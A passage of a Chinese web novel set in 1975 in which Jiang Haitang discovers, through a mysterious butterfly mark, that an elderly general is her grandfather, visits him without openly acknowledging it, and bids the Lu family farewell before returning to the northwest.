陆良辰心中更加怪异。 难道不是给见面礼?怎么会是添妆? 他并没有追问,只是暗自思忖。 突然感到袖口被轻轻扯动,陆良辰朝着姜海棠看过去,姜海棠却将一只白皙的手放在桌面之下,他正好能看到的位置。 只见白皙的手背上,嫣红的蝴蝶印记再次出现,仿佛被唤醒的蝴蝶精灵。 陆良辰瞳孔骤缩,回想起包厢里的异样。 每次与姜国柱近距离接触,这神秘的印记就会出现。 他不着痕迹地扫视四周,宾客们正沉浸在热闹氛围中,无人注意这诡异一幕。 姜海棠的指尖微微发凉,攥着他的衣袖,传递着不安与疑惑。 很快,酒席结束,姜国柱在警卫员搀扶下缓缓起身。 老人三步一回头,目光中满是眷恋与不舍,脚步在地面敲出沉重的声响。 当他的身影消失在国营饭店的大门之外,姜海棠突然攥紧陆良辰的手,声音带着不易察觉的颤抖:“又消失了......“ 陆良辰锁眉,握住姜海棠的手说道:“等到家了,我们问问爷爷,我觉得,爷爷有什么瞒着我们。” 回到陆家老宅,陆良辰带着姜海棠径直走向书房,书房的空气中弥漫着淡淡的墨香。 陆老爷子正专注地看着文件,瞧见他们二人进来,也并不意外,只是淡淡地招呼他们坐下。 “爷爷,您今天为什么让我和海棠明天去姜家?”陆良辰单刀直入地问。 “你姜爷爷对你小子多好,你忘了,让你去看看,还不乐意了?”陆老爷子不打算将实情告诉孙子和孙媳妇。 但陆良辰显然没有这样容易放弃,他抬起姜海棠的手说:“爷爷,海棠靠近姜爷爷,手上就会出现一只蝴蝶印记。” “或许就是巧合,你们别多想。“陆老爷子别过头,目光刻意避开两人。 书房陷入死寂,只有座钟的滴答声格外清晰。 良久,陆老爷子重重叹了口气,抬眸看向姜海棠。 姜海棠的指甲深深掐进掌心,陆良辰察觉到她的颤抖,默默握住她的手。 “爷爷,他和我是什么关系?我想知道。”姜海棠都没发现,她的声音颤抖得厉害,但她颤抖的声音里,又能听出坚定。 陆老爷子看着孙媳妇这坚定的眼神,最终叹了一口气。 “你姜爷爷的胳膊上,也有一只一样的蝴蝶印记,靠近海棠的时候就会出现。” “这是什么情况?”陆良辰惊诧地问。 “为什么会出现这种情况不知道,但因为这个印记,你姜爷爷认为海棠是他的孙女。” 陆老爷子话音刚落,陆良辰立即反问:“可姜爷爷不是没有亲人了吗?” “事情要从二十年前说起,你姜叔叔两口子你应该还记得吧?” 陆良辰想了又想,才说:“记不得太清楚他们的容貌了,不过我知道他们两个人都是很好的人,只可惜牺牲在西北了。” 想到西北两个字,陆良辰迟疑了,不由看向姜海棠。 难不成,海棠真的是姜爷爷的孙女?怎么会这样巧合? 陆老爷子语气沉沉地说:“当年在西北,敌特设下圈套。他们为了完成任务牺牲,你姜爷爷也只知道,牺牲的时候,儿媳妇是怀孕的,也以为,大人和孩子一起没了……” 他看向姜海棠,说:“直到今天和海棠见面之后,激活了蝴蝶印记,才怀疑,或许,孩子当年活了下来,被人收养了。” “可是,如果他真是我的亲爷爷,他为什么不说出来?是不愿意和我相认吗?” 姜海棠语气里有失落和难过,既然都认出来了,为什么不能相认呢? “是为了保护你,也是为了保护我们两家。”陆老爷子叹一口气说道。 姜海棠不明所以。 陆老爷子摘下眼镜,擦拭着眼角:“这几年,针对陆家的明枪暗箭从未断过。一旦你和国柱的关系暴露,你和良辰就会被认为是联姻,那些人定会不择手段......” 陆良辰点头,这些事他都知道。 “你姜爷爷担心一旦海棠是他孙女的事被外人知道,你们又要结婚,那些人会因为担心我们两家结盟而更加疯狂地对付我们。二则……” 陆爷爷看了看姜海棠,看出小姑娘似乎因为爷爷不与自己相认很难过,他安慰说道:“海棠,不是他不喜欢你,而是太喜欢才不敢相认。你爷爷觉得,他命硬,是刑克六亲的人,才会到老还是孑然一身,怕和你相认之后连累你,不敢认。” 此刻听陆老爷子这么说,姜海棠忽然就明白了,她眼眶酸涩,难以自已。 陆良辰将她轻轻搂入怀中,感受着她微微颤抖的肩膀。 “什么刑克六亲都是骗人的,只是巧合罢了。”姜海棠哽咽着说:“我已经很多年没有亲人了,做梦都想有亲人疼我爱我……” 姜海棠这时候,心里百味陈杂,她不敢相信,毕竟,从小到六岁,父母对她都很好,也从来没有说过,她不是亲生女儿,就连叔叔好婶子那样刻薄的人,也从来没有说起过她的身世。 因此,她从来不曾怀疑过自己不是姜家的亲生孩子。 第161章 对面不相认 “海棠,你还年轻,不懂得有些爱,藏在心里比说出口更沉重。”陆老爷子语重心长地叮嘱,“他既然想瞒着你们,你们去了,只当不知道吧。” “爷爷,这……” “你们有心,见了他只管陪着他孝顺他,发自内心的感情,彼此都能感受到,这就够了,何必一定要拘泥于相认呢?” “爷爷,我知道了,我相信,总有一天,我们能相认,我不着急。”嘴里说着不着急,但到底一滴眼泪没忍住落了下来。 陆良辰轻柔地帮姜海棠擦拭眼泪:“别哭,你以后也是有亲人的人了,海棠,这是大喜事。” 为了让姜海棠高兴一点,陆良辰还语气轻松地说:“酒席上我就觉得奇怪,为什么姜爷爷给添妆而不是见面礼,原来如此啊!姜爷爷可有不少好东西,以后,说不定,我就要靠着棠棠养了。” 一番话,说得姜海棠破涕为笑。 第二日一早,陆良辰带着姜海棠和小桃子一起去了姜家。 好似知道他们要来一样,姜国柱一大早就安排了警卫员在门口等着他们。 姜国柱也住在大院里,不过位置比较偏,距离陆家的小楼有些距离。 而且,姜国柱住的是一栋两层的小楼,比起陆家要小上很多。 推开铁艺大门,警卫员对着他们敬礼。 “首长已经等你们很久了!” 许是听到了外面的对话声音,姜国柱推开屋子门走出来, 他身上披着一件半旧的军大衣,看着十分朴素,如果这样一个老人走在外面,别人绝对想不到,这位竟然也是大院里的人。 “快进来,外头冷。”他在尽力的平稳声音,但声音却干涩得像被砂纸磨过。 姜国柱的目光只是牢牢黏在姜海棠身上,竟将周围的人都忽略了。 小桃子蹦跳着跑过来,姜国柱才发现,还有一个小娃娃。 “这是你收养的小姑娘?”姜国柱问陆良辰。 陆良辰点头:“是的,姜爷爷。” 陆良辰一面说话,一面很自然地搀扶着姜国柱进门。 姜国柱没有拒绝,而是露出浅淡的微笑。 对于陆良辰他是喜欢的,却从来没想过,陆良辰有一天会成为自己的孙女婿。 他忽然又觉得,这个他从小看着长大的臭小子有点点讨厌了,自己才刚见到的孙女儿,以后就成了这臭小子家里的人了。 小白菜还没有好好的养,就被别人家的猪给拱了,这心塞的,谁能理解? 陆良辰却不知道,老爷子的心里是这么想的,要是知道了,估计要探讨一下,海棠能到京城来是因为谁了! 到了屋里坐下来,照顾姜国柱的阿姨立即断了糖果过来,又给几个人泡茶泡糖水。 姜国柱打开桌上的一个饼干盒子,里面装的是大白兔奶糖。 他抓了一把给小桃子。 “来,小丫头,给你吃糖。” 小桃子立即笑着说:“谢谢爷爷!” “你应该叫我太爷爷,小家伙。”姜国柱和蔼地笑着纠正小桃子。 小桃子是个乖巧的,立即回答:“谢谢太爷爷。”却突然伸手拦住,从黄铜烟盒里摸出块水果糖,“丫头,这糖留着慢慢吃。 一大把的大白兔奶糖放在小桃子的手里,根本放不下,小桃子只能将糖放在桌子上。 姜国柱心里眼里都是姜海棠,并没有关注到小桃子的小手放不下这么多的糖,只笑着问:“怎么放下了,小丫头不喜欢吃糖?” 小桃子重重点头:“我喜欢吃糖。” 她小心翼翼地剥开一颗大白兔奶糖,然后踮脚把糖塞进姜国柱的掌心:“太爷爷,这颗糖给你吃,吃糖会高兴哦!” 姜国柱僵在原地,喉结剧烈滚动,这个小丫头,竟然给自己糖。 姜海棠也一直都在看着姜国柱,她能看得出来,姜国柱的眼神一直都关注在自己身上。 就算是和小桃子说话的时候,也用眼角余光看着他。 “你们把这个孩子教得很好。”姜国柱对陆良辰和姜海棠说。 “这孩子喜欢海棠,一直都是海棠教导的多。”陆良辰十分谦逊地说。 “姜爷爷,这是我自己做的吃食,最是软和,您尝尝看喜欢不。”姜海棠却没有回答姜国柱的话,而是声音发颤地将手中的两个饭盒递过去。 “小李啊,你把饭盒里的点心拿出来,把今天早上买回来的点心装上给孩子解馋。”姜国柱立即安排。 姜国柱口中的小李是一个四五十岁的中年女人,她听到姜国柱的话,忙跑过来,拿着两个饭盒回到厨房去了。 “小丫头,你叫小桃子是吧?太爷爷这里还有好吃的点心,你尝尝看喜欢哪个口味?”姜国柱话虽然是对小桃子说的,可是眼睛却一直看着姜海棠。 “姜爷爷这里好吃的不少,海棠,我们今天可算有福了。”陆良辰笑着凑趣。 姜国柱听了,立即给他们三个人每个人都夹了一块点心。 “这是桂花糕,这是玫瑰饼、这是牛舌饼,我记得良辰从小就喜欢吃牛舌饼。桂花糕和玫瑰饼都是甜的,你们应该喜欢吃吧?” 姜国柱现在心情激动得很,根本没有时间整理心情,因此,说出的话有点没有逻辑。 但姜海棠听懂了,这是问她喜欢不喜欢吃甜食呢。 “谢谢您,我喜欢吃桂花糕,也喜欢吃玫瑰饼。我们金城那边也有玫瑰,泡茶做饼都十分好,等回去了,我给您寄一点过来。” 姜海棠说着说着,眼泪快要掉下来了。 可她知道,自己什么都不能说,甚至连一声爷爷都不能叫。 陆爷爷说的那句“有些爱,藏在心里比说出口更沉重”她终于明白了。 不过,好在现在已经1975年了,很快,这一场风波就会过去,她和爷爷最终也会相认。 “良辰啊,海棠和小桃子都很好,你是男人,以后要照顾好她们。”姜国柱语重心长地对陆良辰说。 陆良辰顺着老人的意思回答:“姜爷爷您放心吧,她们是我最亲近的人之一,我肯定会好好照顾她们,不让她们受任何委屈。” “你们今天中午就留在我这里吃饭吧。” “本来就打算今天陪着您老吃饭呢。”陆良辰笑容灿烂地说:“我爷爷可说了,您这里好吃得多。” “好,好,好,捡着好吃的做给你们。”姜国柱见陆良辰一口气答应下来,立即连声说好。 “小李啊,你今天把拿手菜都做上,我要招呼他们一家三口。”姜国柱语气激动得不得了。 他活了大半辈子,还有孙女孙女婿陪在身边吃饭的一天呢,这可是以前连想都不敢想的事。 中午的时候,李阿姨做好了午饭,她并没有觉得奇怪,毕竟,陆家和姜家的关系很好,姜国柱将陆家几个孩子当成自己家晚辈一样疼爱,她一直都是知道的。 她要摆碗筷,姜国柱却已经自己动手开始摆,许是因为激动,他的手颤抖得厉害,白瓷碗沿磕碰出细碎声响。 “太爷爷,我帮您!”小桃子踮脚去够高处帮忙,小脑袋无意中蹭过老人手背,痒得他眼眶发热。 海棠小时候,应该也和小桃子一样可爱吧? 只可惜,他这么多年都不知道海棠的存在,要不然,肯定将孩子找回来抚养。 姜国柱轻轻地抚摸小桃子娇嫩的小脸,就好像,他正在抚摸孙女小时候一样。 李阿姨端着红烧肉出来的时候,正好看到姜国柱亲昵地摸着小桃子的脸,她只是叹一口气。 她照顾姜国柱已经好几年了,老将军一个人过的艰难凄苦她都是看在眼里的。 他心里,该是想要个孙子陪伴在身边的吧? 她将手里的红烧肉摆在桌上,笑着说:“知道你们来,老将军从昨天晚上开始就高兴得不得了。” 姜国柱有些不自在地说道:“小李的红烧肉做得最好了,你们尝尝看合口味不。” “姜爷爷,改天有时间,我给您做红烧肉吃,只是,大夫允许您吃红烧肉吗?” “允许,允许。”姜国柱立即连连点头,眼里都是渴望。 “姜爷爷,为了能吃上海棠的红烧肉,您可要好好地遵照医嘱。我之前已经问过医生了,您吃饭不规律,长期这样会伤身体。” 姜国栋忙说:“我听医生的话,以后肯定严格按照医生的要求。” 以前,无儿无女孑然一身,他其实早就觉得活着没有太大意义了。 可现在不一样了,他有孙女儿了,就算为了孙女儿,他也要好好活着。 李阿姨端着酸辣鱼出来的时候,正好听到姜国栋说出这几句话,她不由唏嘘,老将军竟然还有如此听话的时候呢。 这几年,医生都差点儿被他的固执和对身体不当一回事气死。 要是早知道,陆家的孩子过来,老将军就能如此顺着,早就该请他们过来劝劝。 “尝尝这个。”姜国柱夹起块颤巍巍的红烧肉,颤着手放进姜海棠碗里。 肉块上凝着琥珀色的酱汁,在瓷碗里泛着油亮的光。姜海棠喉咙发紧,想起她那些快熬不下去的日日夜夜,她总是在想,会不会有人从天而降,说是她的亲人,带着她走。 却没想到,今天竟然梦想成真了。 她真的有了亲爷爷。 就是不知道,当初究竟发生了什么,已经过了二十年,父母都已经去世,她就算想调查当年的事,大概也调查不到了吧? 陆良辰适时举起搪瓷缸:“姜爷爷,我敬您!祝您老身子骨硬朗,天天都能吃到这么香的红烧肉!” 第162章 不舍 姜海棠喉咙发紧,喉结处像卡着块温热的糖。 望着饭桌上油亮的红烧肉、蒸腾着雾气的酒酿圆子,她想起六岁之后在李家讨生活时候的那些冬日。 她蜷缩在漏风的柴房里,肚子饿了只能喝冷水,那时候,她多么希望有双温暖的手能递来一碗热汤。 多么希望,忽然有一个人从天而降,说是她的亲人…… 没想到,今天梦想成真了。 她有了亲爷爷。 即便依然不能相认,可这肯定是她的亲爷爷。 不知道二十年前究竟发生了什么,才让她被人收养。 只是已经过了二十年,父母都已经去世,她就算想调查当年的事,大概也调查不到了吧? 陆良辰适时举起搪瓷缸:“姜爷爷,我敬您!祝您老身子骨硬朗,天天都能吃到这么香的红烧肉!” 他仰头灌下半缸麦乳精,这麦乳精可真甜啊,老爷子不知道多放了多少麦乳精,这都是对唯一孙女的一片爱护之心啊。 小桃子突然放下筷子,奶声奶气地说:“太爷爷,我也要干杯。” 原本还有点伤感的姜国柱被小桃子这么一打岔,笑了。 “来,太爷爷和我们家小桃子干杯。” 一老一小真的是有模有样的干杯,小桃子喝完之后,还装模作样的砸吧两下嘴巴。 姜国柱被小家伙逗得开心不已,爽朗地大笑起来。 “小李,把我藏起来的那坛陈年花雕拿出来!”姜国柱突然开口。 “姜爷爷,您不能喝酒。” “大夫说,我不能多喝酒,偶尔喝一两口还是可以的。”姜国柱很坚持。 今天是大喜的日子啊,怎么可以不喝酒? 酒坛开封瞬间,醇厚酒香裹胁着二十载光阴扑面而来。 姜国柱颤巍巍往陆良辰缸里倒酒,琥珀色的液体在杯口凝成饱满的弧面,泛起细小的酒花。 “这坛酒,还是二十年前珍藏的,我原以为,用不到了……” 剩下的话,姜国柱没有说完,可姜海棠和陆良辰两个人都听明白了。 这应该是当年知道儿媳妇有孕之后,珍藏起来的,或许是打算孙子孙女满月的时候喝,或许是要等得更加长久一点。 “姜爷爷这坛酒闻着就浓郁醇厚。” “你小子从小就喜欢喝酒,还记得当年翻我酒柜,好好的一瓶茅台喝了一半撒了一半……现在酒量如何了?” 老人的埋怨里藏着笑意,眼角的皱纹里盛满往昔。 “还行吧!”陆良辰笑着:“不过,今日这酒虽然好,姜爷爷您也不能多喝。您要是喝多了,我爷爷要拿棍子抽我。” “那年,你偷喝酒不算,还不小心摔坏了我珍藏的杯子,回去就被你爷爷给揍了!” 陆良辰不好意思地挠着头憨笑:“姜爷爷记性真好,那时候我才十二岁。” 陆良辰挠着头憨笑,这么丢人的事被海棠听到了,怪不好意思的。 余光却瞥见姜海棠唇角的梨涡,突然觉得被揭穿的糗事也变得甜蜜。 姜国柱哼了声,眼底笑意明显,往他碗里夹了块带脆骨的红烧肉,“摔杯子的账待会儿算,先把肉吃了,我老头子牙口不好,嚼不动这个了。” 陆良辰忙接过排骨放在嘴巴里嘎嘣嚼起来。 饭桌上,小桃子很是活跃,举着搪瓷勺给姜国柱舀汤,姜国柱慌忙用碗去接,汤水滴在军大衣前襟,晕开深色痕迹。 他却浑然不觉,只是望着孩子认真的小脸。 明知道,这个孩子和孙女没有血缘关系,但就是觉得,孙女当年应该也是如此。 小桃子举着空碗要添饭,姜国柱抢过饭勺帮她,似乎是要将对孙女的亏歉都补在这个孩子的身上。 “慢慢吃,别噎着。”他的声音柔和,看着小桃子鼓着腮帮子咀嚼的模样,眼角的皱纹里都盛满笑意。 四口人的饭桌上热闹得很,李阿姨端上刚出锅的酒酿圆子,糯米团子浮在琥珀色的汤汁里,氤氲的热气模糊了每个人的眉眼。 姜国柱往小桃子碗里舀了三大勺,又悄悄往姜海棠碗底藏了个荷包蛋,蛋黄在酒酿里缓缓晕开,十分温暖。 姜海棠也给老人主动夹菜,说些老人想知道的事。 一家三口人,就这样在姜家待了一整天,一直到暮色渐浓时,陆良辰才提出要回家。 姜国柱往小桃子兜里塞了把大白兔奶糖,又给姜海棠和陆良辰带了不少吃喝的东西,依旧不舍他们离开,提出要送他们回去。 小桃子扑进老人怀里:“太爷爷,过两天我还来!” 姜国柱僵在原地,半晌才轻轻搂住孩子,下巴蹭过她柔软的发顶,浑浊的泪水悄然滑落。 “姜爷爷,您别送我们了,天色晚了,您早点休息。我们初十才回去,回去之前,会再来看您的。”陆良辰也立即保证。 “好,好,好,我在家等着你们。” “好!” 在警卫员的培养下,姜国柱看着姜海棠和陆良辰拉着小桃子的手,一家三口离开的背影,他别过脸,不愿让他们看见泛红的眼眶。 警卫员看到,他眼泪在眼眶里打转,却始终都没有落下来。 “老将军,咱们回去吧,天气冷,小心着凉。” 姜国柱却一直等看不到他们三人的身影,才在警卫员的搀扶之下步履缓慢的回家。 回到陆家,姜海棠打开一个个油纸包,都是各种香味浓郁的点心,甜丝丝的味道弥散开,十分诱人。 她忽然明白,有些缘分就算迟到了二十年,也依然能在某个冬日的午后,化作饭桌上的一碗热汤,掌心的一块酥糖…… 以后,她姜海棠就不是没有父母亲人的孤儿了,她也是有人疼爱的孩子了。 “良辰,我真的有一个亲爷爷吗?”她觉得自己在做梦。 “应该是有一个亲爷爷了,我家棠棠以后也是有亲人疼爱的人了。”陆良辰轻轻抱着她安抚。 姜海棠的眼泪扑簌簌地落下来。 看出姜海棠的心情,陆良辰笑着安慰:“过两年,我们把爷爷接过去在金城住一段时间,到时候,你会有很多时间和爷爷在一起。” “嗯,过两年,要是大环境好了,我就可以光明正大地和爷爷相认了。” 陆良辰却在心里叹一口气,过两年,大环境真的能好吗? 就算大环境好了,盯着他们陆家的人会放弃对付他们家吗? 接下来的两日,陆良辰带着姜海棠和小桃子踏过天安门广场的青石板,在颐和园昆明湖畔数过十七孔桥的桥洞,在天坛回音壁前轻声对话。 两辈子为人,可姜海棠这是第一次来首都。 更是第一次逛这些景点。 不得不说,京城的景点都不错,尤其是古典园林,就算曾经因为战争和天灾人祸,帝国主义列强的侵略,军阀混战等等原因破坏了不少,幸存下来的园林也依然美轮美奂。 姜海棠这两天也算大开眼界了,虽然每天逛得都很累,但她觉得,这些景点,能看一次就不虚此行。 “这两天累了吧?”陆良辰十分体贴,唯恐一大一小两个姑娘累坏了。 小桃子确实累得不想走了,只软趴趴的趴在陆良辰的怀里,大眼睛忽闪忽闪的,却没有多少精神。 姜海棠觉得新鲜,自然不会觉得疲惫,还在兴致勃勃地看着周围的景致。 “我觉得还好。良辰,树上竟然已经有新芽了!马上就到春天了!” 姜海棠想起来,姜国柱说:春天北海的桃花最美。 只是,她马上就要回去了,今年注定看不到北海的桃花了。 不过,以后总有机会能再来的。 初九这日,姜海棠一家三口人又去了姜国柱家里,这一次,姜海棠不光给老人准备亲手做的包子,还给老人带了一条熬夜织的围巾。 围巾是深灰色的,十分适合老人戴。 “姜爷爷,我看到您的毛衣旧了,原想着给您织毛衣,只是时间不够,只能给您织一条围巾,等我回去,给您织了毛衣寄过来。” 姜海棠语气柔和地对姜国栋叮咛,语气里的关切掩饰不住。 “哎,我知道了,你们去了西北,也要好好的,不要冒险,遇到事情解决不了,就给我和你爷爷打电话,我们总是见识得多一些,说不定就能帮到你们。” 祖孙两个说了不少话,然而最后一层窗户纸却始终都没有戳破。 他们临走的时候,姜国栋给他们塞了一个大大的红包。 “姜爷爷,您这是干什么?”陆良辰忙拒绝。 “答应了给海棠一份添妆,你们收下就是。原本应该上次你们来的时候就给你们,只是想着你们要去西北,京城的票据用不上,我这两天专门找人换了全国通用的。” 听出了姜国栋的用心,姜海棠和陆良辰二人都感动得不得了。 他们已经走出好远,还能看到姜国柱站在门灯下,身影被拉得很长。 “小桃子喜欢太爷爷。”小桃子回头看了一眼,小家伙的大眼睛里竟然蓄满泪水,显然是舍不得。 “小桃子别哭,等过段时间,爸爸和妈妈再带你来看太爷爷好不好?” “是坐火车回来吗?”小桃子问。 “嗯,我们坐火车回来看太爷爷。”陆良辰抱起小姑娘低声安慰着。 而姜海棠也有千般不舍,却万般无奈只能离开。 第163章 告别 回到陆家,何婉仪正带着时书岚准备他们明日火车上要吃的食物。 瞧见两个人回来,何婉仪连忙招呼姜海棠:“海棠,你过来看看,还有什么想吃的没有?” 姜海棠跟着何婉仪到厨房里,厨房飘着浓郁的卤香,炉子上的砂锅咕嘟冒着热气,灶台上整齐码着芝麻糖、玫瑰饼、桂花糕等等,糕点上细碎的糖霜在昏黄的灯光下泛着细碎银光。 王婶正用竹筷夹起最后一块卤牛肉,油亮的汤汁顺着牛肉纹理缓缓滴落,在灯光下泛着琥珀色的光晕。 时书岚专注地用油纸包着桂花糕,动作轻柔得像是在包裹珍宝,每包好一个,就仔细地码进竹篮,还不忘在空隙处垫上棉絮防止磕碰。 “这些都是今天准备的,等下我们再和面,明天早上起来给你们包包子,再煮上几个鸡蛋。”何婉仪笑着说。 “有这些就够吃了,阿姨,您这么费心,我会过意不去的。”姜海棠看着满桌精心准备的食物,眼眶微微发热。 “好孩子,以后我们就是一家子人,有什么过意不去的。父母对孩子的好,孩子不用推辞,只管接下就是。” 何婉仪轻轻握住姜海棠的手,掌心的温度透过薄衫传来。 想起最初听说姜海棠曾有婚史时心里那点疙瘩,再看看眼前这个懂事的儿媳,她只觉得当初的想法可笑。 如今,她早把姜海棠当成了亲闺女。 “谢谢阿姨。”姜海棠眼睛热热地回握住何婉仪的手。 “车上冷,我明天给你们准备些红糖姜汤,用棉絮包上,你们带在路上喝。”何婉仪指了指墙角的保温桶,“保准你们能暖到西北。” 时书岚放好了桂花糕,放好芝麻糖,“小桃子要是路上没有耐心坐车了,就给她吃这个。” 说着,她又从柜子里翻出几个油纸包,里面是不同的糕点,有绿豆糕、枣泥酥,都是小桃子爱吃的。 正说着话,门外传来哒哒哒的脚步声,小桃子像只欢快的小兔子般跑进来,睫毛上也凝着细小的冰晶。 “小桃子,你明天就要回去了,等你到了西北,大伯母想你了可怎么办啊?”时书岚蹲下身子,故意做出一副委屈的模样。 小桃子乌黑的眼睛转了转,踮脚抱住时书岚的腿,软糯的声音带着撒娇:“那大伯母坐火车来找我!我把爸爸和妈妈给我买的好吃的糖和饼干都分给大伯母吃。” 厨房里的人都被逗笑了,王婶笑道:“这么可爱的娃娃,真舍不得了。” 何婉仪蹲下身将孩子搂进怀里,鼻尖萦绕着小桃子身上淡淡的奶香,指尖轻轻摩挲着她头顶蓬松的小揪揪,笑着问:“你的好吃的要不要也分给奶奶吃?” 小桃子立即用力点头,马尾辫跟着晃啊晃:“也给奶奶吃!” “那样,小桃子会不会就没有了?”何婉仪刮了刮小桃子的鼻尖。 “不会哦,小桃子只要一点点就好,剩下的都分给奶奶和大伯母。” 小家伙说着,用两只肉乎乎的手指比划出小小的一点距离,眼睛亮晶晶的,可爱极了。 何婉仪抱着小桃子哈哈大笑,连小桃子棉鞋上沾着的灶台煤灰蹭在了她的蓝布围裙上都没发觉。 “既然小桃子对大伯母这么大方,那大伯母给小桃子分一点大伯母的好吃的。”时书岚从篮子里拿出一根芝麻糖递给小桃子。 小桃子眼睛瞬间亮得像星星,接过糖,踮脚在时书岚脸上吧唧亲了一口:“最喜欢大伯母了。” 何婉仪假装板着脸问:“就只喜欢大伯母,不喜欢奶奶吗?奶奶要伤心喽。” 小桃子着急了,忙又在何婉仪的脸上连着亲了好几下,肉嘟嘟的小嘴亲得何婉仪满脸口水。 何婉仪笑着回亲小桃子的小脸蛋,亲了又亲,才依依不舍地将她放下来。 “小桃子,到了西北记得学写信哦,把你看到的大雪、吃到的好吃的都画在信纸上寄给奶奶,就当是奶奶也吃了。”何婉仪轻轻捏了捏小桃子的脸颊。 小桃子迟疑地咬着嘴唇,局促地小声说:“我画画不好看,怕奶奶认不出来。” “奶奶和我们小桃子心有灵犀,一定能认得。”何婉仪拉着小桃子的小手,“小桃子小手手这么漂亮,画什么都好看。” 小桃子得到了保证,这才认真地点点头,小揪揪跟着晃悠。 这时,陆良辰在外面喊小桃子。 小桃子忙蹦蹦跳跳地离开厨房,还不忘边走边咬一口芝麻糖,满足的模样让人心都化了。 “小桃子走了,家里可要冷清咯。也不知道家里这几个臭小子会不会闹腾要妹妹。”何婉仪望着小丫头蹦跶的背影,感慨地说。 “妈,要不,我们把小桃子也留在京城吧,反正家里已经有这么多的孩子了,也不多这一个。”时书岚眼睛突然一亮,提议道。 何婉仪认真地思索起来,小桃子这么乖巧可爱,留在身边确实能给家里添不少欢乐。 姜海棠心里却“咯噔”一下,手不自觉地攥紧衣角。 虽然知道,大嫂肯定只是开玩笑,但是当妈的人听到这话,还是紧张。 还真有一点点担心大嫂打算和自己抢小桃子了? 不行不行,小桃子是她的心头肉,这么远的距离,要是真留下,一年半载见不到,她可受不了。 “小桃子可是良辰的心肝宝贝呢,要是真把小桃子留下,估计他年都过不完就得回来。”姜海棠强笑着打趣。 “海棠这是舍不得小桃子呢。”时书岚笑着促狭:“这么好的孩子,换我也舍不得。” 何婉仪笑着摇头:“你们对小桃子是真的疼爱,尤其是良辰,我这个当妈的都不知道他还能有这样细心的时候。以前啊,他连自己的袜子都找不着。” “谁说不是呢,良辰以前大大咧咧的,也就是对着小桃子的时候心细。”时书岚也笑着说,“我要是真的把小桃子留下,他得和我拼命。” “也有可能只是让大嫂自己生个闺女!”姜海棠调皮地眨眨眼。 几个人说笑着走出厨房,到了客厅里。 何婉仪从柜子里拿出一个信封递给姜海棠:“这是一些家里能用到的票据,我专门找人弄了点毛线票,来不及给你织毛衣了,你辛苦一点自己织。西北冷,可别冻着。” “阿姨,我不用,我有衣服穿。”姜海棠推辞着。 “海棠啊,西北风沙大,毛衣用得到。现在情况特殊,要辛苦你们继续留在金城,等过几年,局势好些了,再想办法把你们调回来,就能一家团聚了。”何婉仪握住姜海棠的手,满是愧疚。 “阿姨,我们在金城挺好的,工作顺利,生活也好。我们还打算今年的广交会上多给国家挣外汇呢。”姜海棠笑着安慰。 “好好好,你们年轻人有追求,我们老一辈的人,只有支持你们,要是有什么需要家里帮忙的,尽管找我们。” 姜海棠点头,说不定真的就有找他们帮忙的时候呢,毕竟,陆父是搞机械的,陆母是轻纺总局的。 正说话间,一阵风似的,小姑陆思敏推门进来,手里拎着一个鼓鼓囊囊的大包。 “小姑怎么这时候来了?”姜海棠迎上去。 “给他们准备了点吃的喝的,送过来。”陆思敏将包放在桌上,气喘吁吁地说。 姜海棠看着陆思敏将东西一样样拿出来,眼睛瞬间瞪大了,里面居然有几袋方便面! 这个年代,方便面可是稀罕物,有钱都不一定买得到。 “小姑,您还弄到了方便面?”姜海棠惊讶地问。 “到了火车上,连顿热乎饭都吃不上,让人心疼,我专门给你们弄了几袋。泡开了热腾腾的,方便又暖和。”陆思敏笑着说。 “谢谢小姑。” 陆良辰接过袋子,眼里满是惊喜。这可真是好东西,说不定回去还能研究研究,说不定,厂里还能再办个厂中厂开发新产品。 不多时,陆老爷子还有陆父和陆二叔、二婶都陆续回来了。 客厅里一下子热闹起来,大家围坐在暖炉旁,说着家长里短,欢声笑语不断。 小桃子则在和几个堂哥告别。 她站在几个哥哥中央,像个小大人似的:“大哥、二哥、三哥、四哥、五哥,我明天就要回去啦,我会想你们的,你们也要想我哦!” 说着,小丫头从衣服口袋里掏出几颗大白兔奶糖,那是她平时舍不得吃攒下来的,小心翼翼地给每个哥哥手心里放了一块。 “小桃子,要不,你别回去了吧,和我们一样住在奶奶家好不好啊?”陆卫国蹲下身,拉着小桃子的手,满眼不舍。 “对,小桃子,你留下,要不你给我爸我妈当闺女好不好?” 陆爱国想来想去,觉得这个办法更好,要是小桃子当了爸爸和妈妈的女儿,就不用担心她被二叔带走了。 陆良辰一听,竟然还有人想和自己抢闺女了,那还了得? “陆爱国,你皮痒了是不是?” 看到二叔黑着脸瞪过来,陆爱国吓得一缩脖子,赶紧躲到陆卫国身后,只露出一双滴溜溜转的眼睛。 其他几个孩子刚想附和,瞥见陆良辰阴沉的脸色,又把到嘴边的话咽了回去。 二叔发起火来可吓人了,他们可不想屁股开花。 “妹妹走了,我们是不是又没有妹妹了?”最小的陆兴国睁着懵懂的大眼睛,突然问。 第164章 我知道的 陆保国想了想,重重地点头:“好像是,妹妹都走了,哪里还有妹妹?” 陆兴国这下急了,小嘴一撇,嗷呜一声大哭起来:“我要妹妹,我要妹妹!” 泪水大颗大颗地砸在地上,哭得那叫一个伤心欲绝。 小桃子见状,连忙跑过去抱住陆兴国,用小手给他擦眼泪。 “不哭不哭,等我长大了,就来看五哥!” 陆兴国一听,更不干了,等妹妹长大,那要等到什么时候啊! “哇……我不要,我不要。要是妹妹走了,我要离家出走!” 这话一出,满屋子的人先是一愣,随即爆发出一阵大笑。 “好,你离家出走吧,等你走丢了,就再也见不到妹妹了!”袁一楠看着孙子,好笑的说道。 陆兴国眼睛滴溜溜的转,然后拉起小桃子的手说:“我要跟着妹妹走。” 陆良辰一听,立刻大步上前,一把将小桃子抱起来,嫌弃地看着陆兴国:“想都别想!” 小桃子被爸爸突然抱高,咯咯笑着搂住他的脖子,小脚丫在空中晃悠。 陆兴国见状,急得直跺脚,眼泪又涌了出来:“二叔坏!抢我妹妹!哇……我要跟着妹妹离家出走。” 何婉仪白了儿子一眼,真是没出息,这么大的人了,还把小侄子弄哭,她赶紧过来打圆场,蹲下身给陆兴国擦眼泪。 “兴国乖,你二叔逗你玩呢,你可不能哭,哭了让二叔笑话。等到了暑假,我们去看小桃子好不好?” 陆兴国用用小手指算了半天,也没算明白暑假在什么时候,不过还是抽抽搭搭地问:“真的吗?不骗人?” “大奶奶什么时候骗过你?”何婉仪捏捏他的小脸,“到时候还能看到沙漠和骆驼呢。” 陆卫国几个大孩子一听也来了兴趣,纷纷围过来:“奶奶,我们也要去!” 